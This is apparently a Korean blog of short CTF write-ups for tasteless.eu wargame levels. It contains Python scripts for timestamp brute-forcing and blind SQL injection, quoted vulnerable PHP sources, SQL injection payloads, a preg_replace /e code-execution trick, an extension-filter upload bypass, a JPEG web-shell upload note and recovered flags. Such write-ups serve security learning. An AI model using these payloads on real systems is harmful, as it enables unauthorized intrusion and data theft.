인풋을 통해 생성된 값이랑 임의의 값을 비교한다. 이 때 두 값이 같아야 한다. 인풋을 통해 생성된 값은 인풋*0x1000을 통해 생성된다. 비교대상 값같은 경우 timestamp값을 통해 생성된 값이다.


이 때 timestamp의 소수점 하위 4번째까지 계산되는데 정수부분은 인풋 * 0x1000로 계산하면 결과 값이 딱 떨어졌는데 소수점 부분은 *0x1000했을때 결과 값에 오차가 있었다. 그래서 대충 최대한 오차범위 줄여서 반복요청해주니 플래그가 나왔다.


exploit.py


import time

import requests


def exploit():

    url = "http://chall.tasteless.eu/level12/lucky.php"

    param = {"emit":time.time()-5.071}

    result = requests.get(url,params=param).text

    if "flag is" in result:

        print result

        exit()

    return result.replace("<br />VAR b is ",",").replace("<br />","").replace("VAR a is ","").split(",")


for i in range(0,1000):

    result = exploit()

    tmp =  int("0x"+result[0],16)-int("0x"+result[1],16)

    print tmp

    if tmp==0:

        print "find count = " + str(i)

        break


블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<html>
<head>
<title>In My Dreams</title>
</head>
<body>
<p>Here is the <a href='index2.html'>source</a>!</p>
</body>
</html>
<?php
//hi all! you may ask what to do here? its simple, just have a nice walk through these lines, then just call w_() 
//and its done 
$_k = @$_GET['magic']; //put the magic byte here :)
$_u=create_function('$_a_','foreach($_a_ as $_=>$__){$a[$_]=$__;}return @array_splice($a,1);'); 
$_u=@call_user_func($_u,@$_GET['argv']);function w_(){print'Good job! flag: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';}$_f=chr(112).chr(114).__CLASS__."\x65"."\x67"."_"
$_function=create_function('$___,$_,$__','return(strcmp((($_^$__)|$___),123)==0)?1:0;'); 
((int)
$_function((int)$_u[0],(int)$_u[1],(int)$_u[2])>0)?0:printf("%s",die()); 
$__=cosh;$___=$__[asinh(_)];$_t="\x31";$___.=$__[$_t+$_t+$_t];$___.=$__[$_t];$___++;$___++;$___++; 
$_f.=substr(str_repeat("\x72",11),-3,1)."e";$_f_=metaphone(crc32(__DIR__).preg_replace("%^=(\?):*?[\sa-z*]*{\$}*?.[^\D]{1,}(\w|\s)$%sUi","${2}1,$1",crc32(__FILE__))); 
@
$_a.=__METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl";
$_f.="ac"."\x65";@$_f("%.".$_a."%ixs","(string)$_u[3]()",' ');


인풋으로 magic이랑 argv 두개를 받는다. 

일단 먼저 argv[1],argv[2],argv[3] 값으로 return(strcmp((($_^$__)|$___),123)==0)?1:0; 요부분 리턴 1나오게 값 세팅해 주면 된다.


그다음 argv[4]는 @$_f("%.".$_a."%ixs","(string)$_u[3]()",' '); 요기 두번째 인자 영역에 들어가는데 $_f은 preg_replace 문자열이기때문에 argv[4]에 w_를 세팅해주고 패턴영역에 e modifier를 insert해주면 php code 실행을 통해 w_함수를 사용할 수 있다.


그럼 이제 $_a 요 값이 어떤식으로 세팅되는지 보면 되는데 __METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl";

요 코드를 통해 "%".연산결과."\x0" 이런식으로 세팅되는걸 볼 수 있다. 연산결과는 magic 파라미터 값을 통해 특정 연산들을 거쳐서 세팅되는데 이 값이 만약 e가되면 %e\x00꼴로되서 php code가 실행될 거라 생각했다.


주석 중에 //put the magic byte here :) 요런게 있어서 그냥 magic값에 00~ff까지 브포 돌리니까 플래그를 뿌려주는 byte가 존재했다.

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<html>

<head>

<title>Extensions?</title>

</head>

<body>

<p>source code: <a href="./index.php~">index.php~</a></p>

<br/>

<form action="index.php" method="post" enctype="multipart/form-data">

<label for="file">Filename:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="Submit">

</form>

<br />

<?php

error_reporting(0);


$output = array ();

$errors = array ();

$savePath = "upload";


if (isset ( $_FILES ['file'] ) && $_FILES ["file"] ["error"] == UPLOAD_ERR_OK) {


    $fileName = $_FILES ['file'] ['name'];

    $fileSize = $_FILES ['file'] ['size'];

    $fileTemp = $_FILES ['file'] ['tmp_name'];

    $fileType = $_FILES["file"]["type"] ;

    $fileExt = pathinfo ( $fileName, PATHINFO_EXTENSION );

    $fileExt = strtolower ( $fileExt );


    if (preg_match("/php$/i", $fileExt)) {

        $errors [] = "Invalid File Extention";

    }

    if ($fileSize > 800*1024) {

        $errors [] = "File Too large";

    }

    if (! is_writable ( $savePath )) {

        $errors [] = "File Destination not writeable";

    }


    $fileDst = $savePath . DIRECTORY_SEPARATOR . $fileName;

    $filePrifix = basename ( $fileName, "." . $fileExt );



    if(file_exists($fileDst)) {

$errors [] = "Filename exists";

    }



    if (count ( $errors ) == 0) {

        if (@move_uploaded_file ( $fileTemp, $fileDst )) {

            $output['Destination'] = $fileDst;

        } else {

            $errors [] = "Error Saving File";

        }

    }


    if(count($errors) > 0)

    {

        echo "<h2>Upload Error</h2>" ;

        foreach ($errors as $error){

            echo $error , "<br/>" ;

        }

    }else{

        echo "<h2>File  Uploaded</h2>" ;

        foreach ($output as $key => $value){

            echo $key . ": <a href=\"./$value\">" .$value , "</a><br/>" ;

        }

   }

}

?>

</body>

</html>


확장자가 php인지만 검증한다. 그냥 실행가능한 다른 확장자 찾아주면 된다.



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

import requests


def request(payload):

    url = "http://chall.tasteless.eu/level20/index.php"

    params = {'view':payload}

    headers = {'Cookie':'__cfduid=dc8f9c4e92cf4316e617bbaa23cfc8b8f1532166053; PHPSESSID=dnn3sve7g1th9sh0164soi6ck6'}

    response = requests.get(url,params=params,headers=headers).text


    if "River" in response:

        return True

    else:

        return False


strings = "0123456789abcdef"

flag = ""

for i in range(1,33):

    for j in range(0,len(strings)):

        payload = "1,2 from level20_flag join level20 where flag like 0x"+flag+strings[j].encode("hex")+"25`"

        if request(payload) == True:

            flag+=strings[j].encode("hex")

            print "Find Flag[-] = " + flag.decode("hex")

print "Find Flag[+] = " + flag.decode("hex")



Find Flag[+] = 859db2a7ba5f7410c4f19627446f03eb

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

가입



가입한 admin 계정으로 로그인

admin/123



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Payload

username=admin&password=%c0'^0--%20



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

payload

name=\&text=,(select flag from level15_flag))-- 



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Easy



Base64 Decode

<?php

/*

the flag is 9fcee7f714b6e3a6f46d12e0dd481bd7

*/

?>



Hard



Base64 Decode

<?php

/*

the flag is 2827a7ad455bc3f396cf0524208d0e37

*/

?>

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

payload

username=\&password=%20or%201%23



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

간단한 업로드페이지가 있는데 제공해주는 소스를 보면 .htaccess에 jpeg가 실행 권한이 있다.

jpeg 파일 안에 php코드 박아서 올려주며 웹쉘 실행이 가능하다.



블로그 이미지

JeonYoungSin

메모 기록용 공간

,